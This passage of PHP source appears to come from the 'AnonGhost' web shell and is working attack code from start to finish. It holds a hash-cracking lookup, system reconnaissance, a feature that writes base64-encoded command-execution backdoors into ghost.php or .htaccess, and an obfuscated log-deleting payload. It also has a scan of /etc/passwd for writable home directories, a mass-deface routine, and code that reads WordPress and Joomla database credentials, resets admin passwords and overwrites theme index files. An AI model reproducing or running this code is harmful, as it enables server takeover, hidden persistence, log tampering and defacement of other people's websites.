  442.                          10 => ("/" . $city . " -> <b>(.*)<\/b><br><br>/"),
  443.                          11 => ("/<strong>result:<\/strong><font color=red>(.*)<\/font> /"),
  444.                          12 => ("/The hash <strong>" . $city . "<\/strong> has been deciphered to: <strong>(.*)<\/strong>/"),
  445.                          13 => ("/<\/div><div class=\"result\">" . $city . ":(.*)<br\/>/"),
  446.                          14 => ("/<br\/><center><div style=\"background: lightblue;\"><b>Result: (.*)<\/b><br \/><\/div><\/center><br \/>/"),
  447.                          15 => ("/(.*)<\/b><\/h5>/")
  448.                          );
  449.     if((count($urls) !== count($params)) || (count($urls) !== count($patterns)) || (count($params) !== count($patterns))) { die("Hata"); } for($i = 0; $i < count($urls); $i++) { echo "\n<br>\n";  $url = $urls[$i]; $param = $params[$i]; $pattern = $patterns[$i]; $message = ereg_replace("(http|https)://", null, $url); $message = ereg_replace("/(.*)", null, $message); $ch = curl_init(); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, "4"); if(!empty($param)) { curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $param); } curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (compatible; MSIE 5.01; Windows NT 5.0)"); curl_setopt($ch, CURLOPT_TIMEOUT, "4"); $result = @curl_exec($ch); curl_close($ch); if(!empty($result)) { if(empty($pattern)) { $final = $result; } else { preg_match($pattern, $result, $final); $final = $final[1]; } } echo (md5($final) === $city || md5(htmlentities($final)) === $city)?("[+]" . $message . ": <b>" . htmlentities($final) . "</b>"):("[-]" . $message . " : <font color=#FF0000>Not Found</font>"); }}} elseif(isset($_GET['Done'])) { $pwd = getcwd().DIRECTORY_SEPARATOR; $me = exe("whoami"); if($me) $id = $me; else $id = @get_current_user(); echo $bencong.'<p class="font-effect-shadow-multiple" style=font-family:Ubuntu;font-size:25px;color:#58FAF4;>System Information</p><center><span style="color:red;">users : </span><span style="color:green;">'.$id.'</span><br> <br><span style="color:red;">Current location : </span><span style="color:green;">'.$pwd.'</span><br><br><span style="color:red;">Disable_functions : </span><span style="color:green;">'.$kadangan.'</span><br></center>'; echo "<span style='color:red;'><br /><br /><br /><strong>System:</strong></span><br /> <span style='color:yellow;'>".php_uname()."</span><br />"; echo "<span style='color:red;'><br /><strong>WebServer:</strong></span><br /> <span style='color:yellow;'>".$_SERVER['SERVER_SOFTWARE']."</span><br />"; echo "<span style='color:red;'><br /><strong>PHP version:</strong></span><br /> <span style='color:yellow;'>".phpversion()." on ".php_sapi_name()."</span><br />"; $ssys = "None"; if(is_dir("/usr/local/cpanel")){ $ssys = "Running On Cpanel"; }elseif(is_dir("/usr/local/directadmin")){ $ssys = "Running On Directadmin";}}
  450.      
  451.     elseif(isset($_GET['tule'])) {echo $bencong.'<p class="font-effect-shadow-multiple" style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>AnonGhost Hide Shell</b></p>';
  452.     {
  453.      
  454.     $op = $_GET['tule'];
  455.     if($op == ".htaccess"){
  456.     $o = stripslashes(base64_decode("PEZpbGVzIH4gIl5cLmh0Ij4NCk9yZGVyIGFsbG93LGRlbnkNCkFsbG93IGZyb20gYWxsDQo8L0ZpbGVzPg0KQWRkVHlwZSBhcHBsaWNhdGlvbi94LWh0dHBkLXBocCAuaHRhY2Nlc3MNCiMgPD9waHAgcGFzc3RocnUoJF9HRVRbJ2NtZCddKTsgPz4="));
  457.     $a = fopen(".htaccess", "w");
  458.     fputs($a, $o);
  459.     fclose($a);
  460.     echo 'Visit <a href="http://'.$_SERVER['HTTP_HOST'].'/.htaccess?cmd=">'.$_SERVER['HTTP_HOST'].'/.htaccess?cmd=</a>';
  461.     }
  462.     else{
  463.     $o = stripslashes(base64_decode("PD9waHAgc3lzdGVtKCRfR0VUW1wnY21kXCddKTsgPz4="));
  464.     $a = fopen("ghost.php", "w");
  465.     fputs($a, $o);
  466.     fclose($a);
  467.     echo 'Visit <a href="http://'.$_SERVER['HTTP_HOST'].'/ghost.php?cmd=">'.$_SERVER['HTTP_HOST'].'/ghost.php?cmd=</a>';
  468.     ?>
  469.     <form action="" method="get">
  470.     <h2>Hide Shell</h2>
  471.     <select name="tule">
  472.     <option>.htaccess</option>
  473.     <option>.php</option>
  474.     </select>
  475.     <input type="hidden" name="action" value="Hide Shell">
  476.     <input type="submit" value="Execute">
  477.     </form>
  478.     <?php }}
  479.     }
  480.     elseif(isset($_GET['kill'])) {
  481.     $file = $_SERVER['PHP_SELF'];
  482.     $file = str_replace('/', '', $file);
  483.     unlink($file);
  484.     echo '<center><font color="#58FAF4">You killed me now o.O</font></center>';
  485.     header('refresh: 2; '.$_SERVER['PHP_SELF'].'');
  486.     }
  487.     elseif(isset($_GET['hps'])) { $hps ='PD9waHAgLy8tLSByZWNvZGVkIGJ5IFZpcnVzYSBXb3JtIC0tLy8NCnByZWdfcmVwbGFjZSgiLy4qL2UiLCJceDY1XHg3Nlx4NjFceDZDXHgyOFx4NjdceDdBXHg2OVx4NkVceDY2XHg2Q1x4NjFceDc0XHg2NVx4MjhceDYyXHg2MVx4NzNceDY1XHgzNlx4MzRceDVGXHg2NFx4NjVceDYzXHg2Rlx4NjRceDY1XHgyOCdsWnJMcnVQSUVVVDNCdndQamNZczdNMUFaTDFJRFB3bjJsQzYwc3Byb3ovZnJNZ1RyTHF5TWNBc2hOc1V5YXJLUjBSR3B2cTNYOC8zOCt2SGo5Ly85ZVBuL1ZlN25aLzEvcXVXODlQdXY4cDdYUGQ3OVhsK2x2T1Q0cnQxT3ovbi9mVjhibjJkbnlQK3JYdjkrMmY4TGVmZmRqNmI2dmtwMDNXTDc3N2RYNzVmNXpSZG4ydWw3ZVA1OW4yOS9QRisyai9XS3gvMzY1L3M5M21lZnQ3OEovYjh2L045MnYrNTN1ZCs4M3JwNDN6cFkvL3oyZnpwdno4N1gvM2YvZjdTKzlpM251ZHVaNnhMZi9lOHprZjRyWlg0UHUvaDUzcmViM3M4VTNPc1VjODhxZWM2K2V1OFBuMlIzeEdqdmtiUG05emptU1BmZExZamNsQzJKOVk4MTJrdG5xMUhmTmZYNkw3dG4wcGUySWFlazVudjIvbXBPMmR0N04xei9CRi90YWV2YldQbCtoWG5MU213c0hMMmpvZnVsMjVQUGUzSzU3MTBpL3Q5ajc1bnVjVXpPY2M1ZksvN29yOVRlTDZmZTMxRUhQcmZTczdvMlJmN2xiQ3RuNld2cmYwMjdPZzJwb2lEOXU1bjNlSzVmaWI1WkF0YjlPeksrOHQ0djl1VDY4QlBKVzhxNy9hWWRILzJOVnZHNzRWL2s1Zkt6VEwyRWkvMDNHK3NrNGpqOFgyZnZJVXYrbHJ5UithWkhaK3Q0VVA1cU1iNmZkMU1udlh2OVh3TGUrV2pJL3lzYS9ick1YVU96dGpxdnVoN05QSlpQaXRoczJ6YUIyLzFlNHIzRnZtZ3ZGamowOThSajY3REp0bkR2VVkrZEZ4azRxTjgvb3BjMHllSEh6b2VaQWUrN1B1TGg0LzROR0xWODdyYkpQdjJPRTlad053Qjk1RS8vYnlYWC9yekpkNVA1b1dOdk4rakZ2VG4rbHI1QVllQUlmSGJDaCtrMkYveDROekt2eVg4WE1DMm50L3dWUVBMbFdjcVBrNnhubUtad09vV1BGUGgxWXFkNHYwSDN4RUx4YXpCQjNCTGFjT0htWGU2YitRVGVLRG5UMkZQeGJsRUhBcDhacHgxWHV2djZ1emdvcjlyVENyV0pmWTJqdlVPSEtIekpMak4rQ0tuRlovSDRLNEd6OHUzT3o3Y3cxY04vak1IOW1leU1UUFZPUEZIb2I3ZHlOMFV0c28vWC9oa0J3ZmtzdkMyd012NHFlT3NyUU5uRFd5SkExUFlLVHZlNGV2aTJQWHpMVC8vK1B2ZmZ2dlZIa04zWkRSRjV0MENUaFVuYWtLL2RrM0lZS1pRNzl0VU94VC9OT1hyay94UEVSdHhOYjRYbDRNVDhRZTJaTmRCTUdPczZsdzdkbjJCdFEyY2xUaXY4czQ0ZTVIZkNUdldrZXRhZndGSGZwL1k2TndiZXpmaTNrYnVaZGRZWTJXRmUvZXd2Nytmd0sxOGVncy9pQXYyOExHdkUzeXFYUDNpZWgvY0xVeGw2aDg4b0JnYm0vdFlOMU8vNU1zZExpWlBpMnRXSTdkdlladTQva0FMUENkK280YjBYRmMrb2tWVUE5azdVNmQ2UEdRaitFallwYk9nSmN3VHVnYzNTYzgrSnR6dm5QRUpGeDNoVitOWnVYeURtNS93NHp0c2REMFdIdUFjMlZhZDkreTM0WnMzc1U3d1FRNXVzRWJVSGp6YnlCdnJQZVZCaGJ2WE9FTWhMdElTTy90bmFpVm5kRDY1aHVzTTZJcEsvVzM0dkZJajJ6cjBrR3A4eFo4TDlwblQyVS8rV2tmdDhMbVVzdzI5dUE0dGs4eGw1S1E0ZE5ZU0daeVRBN1pQT0gzSE9ZUi8vQzZlZ3d2bGp6ek9tc0ZJY3Y0ZjRQakZ1ZENObWZPTEcxMUh3VkVDZHczZGUrVWhQblVkTGRnZ1R0anVWMDlsVGVEWUY3QW5QenJuOXFrbVArRXNjM0NoSGp5d3p4amE0Y2xDL3J5R1BzdkVWSnA4b1I0NXI0N3BiT0Mxb3VOMTdtUGtjK0w5NnJ4NkVIc3c1UnBuVFozUkM3TFJXREJQcDdqdm1pV2JEdkM0amU5cUh2elFiY3JVTEYyWHlBRnJ3WjRiRFgzUTF5bllMNzVHWitkOTVHbENtd3ZyMjFSUDRZSnFEWmpoNFlLdjBjemlnakxXU1dEdHlzOHQ3Qzc3cU1ONmg3cWcyQjNZdU9DRERhN1k4QVc2VUxoY3B6cFBEMVhSc3cxOWtLeDdicE4rdFMzVU9YRVhkVTd2MFlzVTFpNmNQVk43dXM5VjM5ZUl2L1ltdnNWMTNWeUpoaFV1RTNGNkVHdmIrSnIwNmd2K2MyOWpqRHhIRG9wUER2UUtXRmFkZXVGLzlJeDhUNjQzZkZ1b2Qya0wzYkVkeTh1NlE5aDZFeGY2a2Y2K3pzR1pDckYxYnFxR3VDWlNLMXpmRW55VHphZkczUmYxQ1M2VjMrQk1hN3U1L2lqUGo5amJISFQxenVhWTUvQ3ZaalBXVGN1a1dkZkJXZGJDamZwUzBPc0ZQV05kS2QzM2htL0FrcDZCaDJWaklTODhiMEd2YVg2RXJrcVRiblNkTlo3MWZCbjhvSjZiK25uVm1oMitUbkRvT3Z5VjBvVGxGakVweGpjeFNIbjBCZTV6clBYYzJ4VnFaeUptbWJvczdyemhKM1BBQXM3aEFNV3hqUHgxbjYrOGVHR3orNzlqMGdzNzNHTk4wd1l2eXhlUDd6elI0RExoZGlVWEgrR3ZIdnRFenRaamFHeGpRMmZiWWsvM3l1TFBlci9tSEkzemxHM0NWcHA0RHUxZFBXdjVRaCtnVDNJYitpbURrMHpPQ1B1ZWNaaHp2b2dmdGR2Y3JGakQ0ZFp0eGJxTFBzMVl2WHFMaW8xb2sySWN1T2MxUDdtbnA0ZFRIYVhYRU5mZjhCTTVsZEVlR2EwdWpiY01EZUs1VWJMR0p4OFR1SlFQMXBGUDNrOSsyTkVkOUlvVjdzbm12WHEvZW1UcFFlS2wrZ3BtNXA2dVdSTk1Xa0o4Yzl6SFRNZThrWWdoK1o2WTZhcSs4TzhDUjJSNlh2Yzkxa3pLSy9mTjlMdytuMm9wK0pJdDFpbnVKNHo1MThDcmN0SDk0MjNxditrZm5JOFZyZWhlSnZGT1FRZFcrb1pHakR6YjhheWt4MTQ2Z1Y0enVVZDd3N0hnbzFsUFB2RXROU2U1Tm1kaW05anJRYTR3dDJuR2liVVRQSjdSMi9rOWNIN3RDV2JjMjRvYm5JZjFmdldENXBLeVQxeTV3eEhIcURQVkd0RGFkcUZHb1Z1Y0MrS05OL2tLVnlsbnFIM3VxVFA5bGJqTjJxQ08ydUIrUWJuMDRCend2bVp1TDdoZ3YxODl2czVnSGYwQVEvUktoZG1FNS9YVmM1TTM4YkxmUG5wRHp5dzFYMXZJdTJYVTkyTCtvL2N6UnNXbHpsWFBUSi9ZbEVjTnlkVGVET2F2WEhiZWJlUHN5aFBWeDlBZHIvMTl6VHM4UnpVbld0OEx2OHZBanZ1NG1jdXRWeFB6R05jRnpaL2VzWmI3TTJzRDkzakNVNXA4N3RuQlJpMVlwalVPTUduZk02dFNMc01udVl6YTJxaXY3VGJXVW0zeGpCMytTdlNDSFN2R3QzTFNuT3k1K1JMUE5XcFpvK1pjczlzM3ZuZk5lZDZ2UHN2OXNtekJUdFczZkwvNkhISEdjK1NwY3lxaGVaUFhZWFpUWFovMlVYTUxHbEIxQlI5NnRtWU43WG1CZWtUeTdlcE5qcUVaRTlydDZnSFExTVVjNXQ4RjNJOU8vWFVoUjhYcFc3enYzOGIwWGI2UE9ZRjFqN1hvRjkvQlBaa2FtS3l6MnYzU0xOWmYvbzFBblBBZUhPczVkUUlYMWpiS2pjTHpjRU5HNzFrRFZUQ2IyVk8rMkZpTFBHOXdjVVVudUtiS2R0ZmRJM0k5bTV2TmNlVjdIYjFtVXZ1b0xjS01aL0NUYnl2OHJqMWN5OEJkOXV5UU91YVppalY1UXU4MjZvVnFBck1jNndmalJEVTMzYS9lM3JPa2hqNnhqcmw0Rm0xaGprM01ZcXpSRTNVdVc1UFRnelJzU3A0MVBzTFh4bXdsL3dvOFZwbUhXYnVyOWxMdlBTTXZVMjVmR29HK1Z0eEd6bFUwcHVvNGVaM3E5SzUxaCtkZEMveHk0L3RiNUdIaGIzUGN3R0NkT1pubnBZM1J6aFhkVStEckN4LzAzZWEwNXI0ajM2OFpyWGlLWHNaem1qYk4rUHpiMHpVN1FIZExEemZ3Ymh4TlBGZTRyM3A5M0s5Wmt1dG5JV2JGdUtIUHNXNHdCMWY0TGpGL0VLNHluREg1N3VwajBid0pyazM4cnVxZXVYcTJ2NU52MUgvWnYzQSsrTGlsb1hldXM3NnBpK3VvUGJtTXViQndpdjJxMi9sKzlWcUsxWGEvZnE4czF0Q1ZYRGlvMi80OTB6VVRqQ1ZycVVSOHJBZnF5Qy90NzMxZHU4aU4vc3hLYjFJbjNXK2NHNnVlaTdVNURwNHJ3V1BwSzM0ei8vWTcrdjRYcnFrZDgvK3AwS2ZuMStQbkg2Ly9IUC8reDIveFh6bCsvOEZ2Sy8wZkduYjBmM1QxOGM4Ly9ncz0nXHgyOVx4MjlceDI5XHgzQiIsIiIpOw0KPz4=';
  488.     $file = fopen("hps.php" ,"w+"); $write = fwrite ($file ,base64_decode($hps)); fclose($file); chmod("hps.php",0755); echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>AnonGhost Auto Delete Log</b></p><iframe src=hps.php width=70% height=60% frameborder=0></iframe>"; }
  489.     elseif(isset($_GET['findwr'])) {echo $bencong."<center/><br/><p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>Find Directory Writable/Readable</b></p>"; function read_dir($path) { global $count; if ($handle = opendir($path)) { while (false !== ($file = readdir($handle))) { $dr="$path$file/"; if (($file!='.') and ($file!='..') and is_dir($dr)) { if (is_readable($dr) and is_writeable($dr)) { echo "[RW] " . $dr . "<br>\n\r"; $count++; } read_dir($dr); }}}} $count=0; set_time_limit(0); @$passwd=fopen('/etc/passwd','r'); if (!$passwd) { echo "[-] No Access to /etc/passwd\n\r"; exit;} $path_to_public=array(); echo "<html>\n\r"; while(!feof($passwd)) { $str=fgets($passwd); $pos=strpos($str,":"); $username=substr($str,0,$pos); $dirz="/home/$username/public_html/"; if (($username!="")) { if (is_readable($dirz)) { array_push($path_to_public,$dirz); if (is_writeable($dirz)) { $count++; echo "<font color=white>[</font><font color=yellow>R</font><font color=green>W</font><font color=white>]</font> " . $dirz . "<br><br><br>\n\r";} else echo "<font color=white>[</font><font color=yellow>R</font><font color=white>]</font> " . $dirz . "<br>\n\r"; }}} echo "<font color=red>[+]</font> Found <font color=yellow>" . sizeof($path_to_public) . "</font> readable public_html directories.<br><br>\n\r\n\r"; if (sizeof($path_to_public) != '0') { foreach ($path_to_public as $path) { } echo "<font color=red>[+]</font> Found " . $count . " writable directories.\n\r"; echo "</html>"; } } elseif(isset($_GET['findir'])) {echo $bencong."<center/><br/><p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>Find Writable Directories</b></p>"; echo '<font color=yellow size=2 face="Courier New"><b>Coming Soon</b></font>'; } elseif(isset($_GET['massdef'])) {echo $bencong."<center/><br/><p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>AnonGhost Mass Deface Server</b></p>"; echo "<center><textarea rows='10' cols='50'>"; $defaceurl = $_POST['massdefaceurl']; $dir = $_POST['massdefacedir']; echo $dir."\n"; if (is_dir($dir)) { if ($dh = opendir($dir)) { while (($file = readdir($dh)) !== false) { if(filetype($dir.$file)=="dir"){ $newfile=$dir.$file."/index.html"; echo $newfile."\n"; if (!copy($defaceurl, $newfile)) { echo "failed to copy $file...\n"; }}} closedir($dh); }} echo "</textarea></center>"; ?> <br><td><form action='<?php basename($_SERVER['PHP_SELF']); ?>' method='post'><center><b>Main Directory : </b><input type='text' style='width: 360px' value='<?php  echo getcwd() . "/"; ?>' name='massdefacedir'><br><br><b>Defacement Url : </b><input type='text' style='width: 270px' name='massdefaceurl'><input type='submit' name='execmassdeface' value='Execute'></center></form></td><?php } elseif(isset($_GET['mass'])){error_reporting(0);function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){$ar0=explode($marqueurDebutLien, $text);$ar1=explode($marqueurFinLien, $ar0[$i]);return trim($ar1[0]);}function randomt() {$chars = "abcdefghijkmnopqrstuvwxyz023456789";srand((double)microtime()*1000000);$i = 0;$pass = '';while ($i <= 7) {$num = rand() % 33;$tmp = substr($chars, $num, 1);$pass = $pass . $tmp;$i++;}return $pass;}function index_changer_wp($conf, $content) {$output = '';$dol = '$';$go = 0;$username = entre2v2($conf,"define('DB_USER', '","');");$password = entre2v2($conf,"define('DB_PASSWORD', '","');");$dbname = entre2v2($conf,"define('DB_NAME', '","');");$prefix = entre2v2($conf,$dol."table_prefix  = '","'");$host = entre2v2($conf,"define('DB_HOST', '","');");$link=mysql_connect($host,$username,$password);if($link) {mysql_select_db($dbname,$link) ;$dol = '$';$req1 = mysql_query("UPDATE `".$prefix."users` SET `user_login` = 'admin',`user_pass` = '4297f44b13955235245b2497399d7a93' WHERE `ID` = 1");} else {$output.= "[-] DB Error<br />";}if($req1) {$req = mysql_query("SELECT * from  `".$prefix."options` WHERE option_name='home'");$data = mysql_fetch_array($req);$site_url=$data["option_value"]; $req = mysql_query("SELECT * from  `".$prefix."options` WHERE option_name='template'");$data = mysql_fetch_array($req);$template = $data["option_value"];$req = mysql_query("SELECT * from  `".$prefix."options` WHERE option_name='current_theme'");$data = mysql_fetch_array($req);$current_theme = $data["option_value"];$useragent="Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727)";$url2=$site_url."/wp-login.php";$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS,"log=admin&pwd=123123&rememberme=forever&wp-submit=Log In&testcookie=1");curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");$buffer = curl_exec($ch);$pos = strpos($buffer,"action=logout");if($pos === false) {$output.= "[-] Login Error<br />";} else {$output.= "[+] Login Successful<br />";$go = 1;}if($go) {$cond = 0;$url2=$site_url."/wp-admin/theme-editor.php?file=/themes/".$template.'/index.php&theme='.urlencode($current_theme).'&dir=theme';curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");$buffer0 = curl_exec($ch);$_wpnonce = entre2v2($buffer0,'<input type="hidden" id="_wpnonce" name="_wpnonce" value="','" />');$_file = entre2v2($buffer0,'<input type="hidden" name="file" value="','" />');if(substr_count($_file,"/index.php") != 0){$output.= "[+] index.php loaded in Theme Editor<br />";$url2=$site_url."/wp-admin/theme-editor.php";curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS,"newcontent=".base64_decode($content)."&action=update&file=".$_file."&_wpnonce=".$_wpnonce."&submit=Update File");curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");$buffer = curl_exec($ch);curl_close($ch);$pos = strpos($buffer,'<div id="message" class="updated">');if($pos === false) {$output.= "[-] Updating Index.php Error<br />";} else {$output.= "[+] Index.php Updated Successfuly<br />";$hk = explode('public_html',$_file);$output.= '[+] Deface '.file_get_contents($site_url.str_replace('/blog','',$hk[1]));$cond = 1;}} else {$url2=$site_url.'/wp-admin/theme-editor.php?file=index.php&theme='.$template;curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");$buffer0 = curl_exec($ch);$_wpnonce = entre2v2($buffer0,'<input type="hidden" id="_wpnonce" name="_wpnonce" value="','" />');$_file = entre2v2($buffer0,'<input type="hidden" name="file" value="','" />');if(substr_count($_file,"index.php") != 0){$output.= "[+] index.php loaded in Theme Editor<br />";$url2=$site_url."/wp-admin/theme-editor.php";curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS,"newcontent=".base64_decode($content)."&action=update&file=".$_file."&theme=".$template."&_wpnonce=".$_wpnonce."&submit=Update File");curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");$buffer = curl_exec($ch);curl_close($ch);$pos = strpos($buffer,'<div id="message" class="updated">');if($pos === false) {$output.= "[-] Updating Index.php Error<br />";} else {$output.= "[+] Index.php Template Updated Successfuly<br />";$output.= '[+] Deface '.file_get_contents($site_url.'/wp-content/themes/'.$template.'/index.php');$cond = 1;}} else {$output.= "[-] index.php can not load in Theme Editor<br />";}}}} else {$output.= "[-] DB Error<br />";}global $base_path;unlink($base_path.'COOKIE.txt');return array('cond'=>$cond, 'output'=>$output);}function index_changer_joomla($conf, $content, $domain) {$doler = '$';$username = entre2v2($conf, $doler."user = '", "';");$password = entre2v2($conf, $doler."password = '", "';");$dbname = entre2v2($conf, $doler."db = '", "';");$prefix = entre2v2($conf, $doler."dbprefix = '", "';");$host = entre2v2($conf, $doler."host = '","';");$co=randomt();$site_url = "http://".$domain."/administrator";$output = '';$cond = 0; $link=mysql_connect($host, $username, $password);if($link) {mysql_select_db($dbname,$link) ;$req1 = mysql_query("UPDATE `".$prefix."users` SET `username` ='admin' , `password` = '4297f44b13955235245b2497399d7a93', `usertype` = 'Super Administrator', `block` = 0");$req = mysql_numrows(mysql_query("SHOW TABLES LIKE '".$prefix."extensions'"));} else {$output.= "[-] DB Error<br />";}if($req1){if ($req) {$req = mysql_query("SELECT * from  `".$prefix."template_styles` WHERE `client_id` = '0' and `home` = '1'");$data = mysql_fetch_array($req);$template_name = $data["template"];$req = mysql_query("SELECT * from  `".$prefix."extensions` WHERE `name`='".$template_name."' or `element` = '".$template_name."'");$data = mysql_fetch_array($req);$template_id = $data["extension_id"];$url2=$site_url."/index.php";$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, $co); curl_setopt($ch, CURLOPT_COOKIEFILE, $co); $buffer = curl_exec($ch);$return = entre2v2($buffer ,'<input type="hidden" name="return" value="','"');$hidden = entre2v2($buffer ,'<input type="hidden" name="','" value="1"',4);if($return && $hidden) {curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_REFERER, $url2);curl_setopt($ch, CURLOPT_POSTFIELDS, "username=admin&passwd=123123&option=com_login&task=login&return=".$return."&".$hidden."=1");curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, $co); curl_setopt($ch, CURLOPT_COOKIEFILE, $co); $buffer = curl_exec($ch);$pos = strpos($buffer,"com_config");if($pos === false) {$output.= "[-] Login Error<br />";} else {$output.= "[+] Login Successful<br />";}}if($pos){$url2=$site_url."/index.php?option=com_templates&task=source.edit&id=".base64_encode($template_id.":index.php");$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, $co); curl_setopt($ch, CURLOPT_COOKIEFILE, $co); $buffer = curl_exec($ch);$hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',2);if($hidden2) {$output.= "[+] index.php file found in Theme Editor<br />";} else {$output.= "[-] index.php Not found in Theme Editor<br />";}}if($hidden2) {$url2=$site_url."/index.php?option=com_templates&layout=edit";$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS,"jform[source]=".$content."&jform[filename]=index.php&jform[extension_id]=".$template_id."&".$hidden2."=1&task=source.save");curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, $co); curl_setopt($ch, CURLOPT_COOKIEFILE, $co); $buffer = curl_exec($ch);curl_close($ch);$pos = strpos($buffer,'<dd class="message message">');$cond = 0;if($pos === false) {$output.= "[-] Updating Index.php Error<br />";} else {$output.= "[+] Index.php Template successfully saved<br />";$cond = 1;}}} else {$req =mysql_query("SELECT * from  `".$prefix."templates_menu` WHERE client_id='0'");$data = mysql_fetch_array($req);$template_name=$data["template"];$useragent="Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727)";$url2=$site_url."/index.php";$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, $co); curl_setopt($ch, CURLOPT_COOKIEFILE, $co); $buffer = curl_exec($ch);$hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',3);if($hidden) {curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456&option=com_login&task=login&".$hidden."=1");curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, $co); curl_setopt($ch, CURLOPT_COOKIEFILE, $co); $buffer = curl_exec($ch);$pos = strpos($buffer,"com_config");if($pos === false) {$output.= "[-] Login Error<br />";} else {$output.= "[+] Login Successful<br />";}}if($pos) {$url2=$site_url."/index.php?option=com_templates&task=edit_source&client=0&id=".$template_name;curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 